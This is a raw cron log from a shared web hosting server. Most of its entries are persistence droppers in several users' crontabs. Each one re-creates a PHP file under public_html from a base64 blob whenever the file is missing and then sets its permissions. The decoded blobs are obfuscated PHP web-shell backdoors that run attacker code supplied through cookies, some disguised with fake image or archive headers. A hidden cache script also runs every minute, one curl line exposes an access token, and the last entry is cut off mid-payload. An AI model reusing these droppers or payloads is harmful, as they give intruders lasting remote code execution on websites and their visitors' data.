Mar  1 23:11:02 medusa CROND[30448]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:11:02 medusa CROND[30449]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:11:02 medusa CROND[30450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:11:02 medusa CROND[30455]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:11:02 medusa CROND[30457]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:11:02 medusa CROND[30458]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:11:02 medusa CROND[30459]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:11:02 medusa CROND[30461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:12:02 medusa CROND[3749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:12:02 medusa CROND[3751]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:12:02 medusa CROND[3752]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:12:02 medusa CROND[3753]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:12:02 medusa CROND[3760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:12:02 medusa CROND[3761]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:12:02 medusa CROND[3764]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:12:02 medusa CROND[3765]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:12:02 medusa CROND[3767]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:12:02 medusa CROND[3769]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:12:02 medusa CROND[3768]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:12:02 medusa CROND[3776]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:12:02 medusa CROND[3786]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:12:02 medusa CROND[3790]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:13:02 medusa CROND[8787]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:13:02 medusa CROND[8985]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:13:02 medusa CROND[8987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:13:02 medusa CROND[8986]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:13:02 medusa CROND[8988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:13:02 medusa CROND[8989]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 23:13:02 medusa CROND[8990]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:13:02 medusa CROND[8991]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGV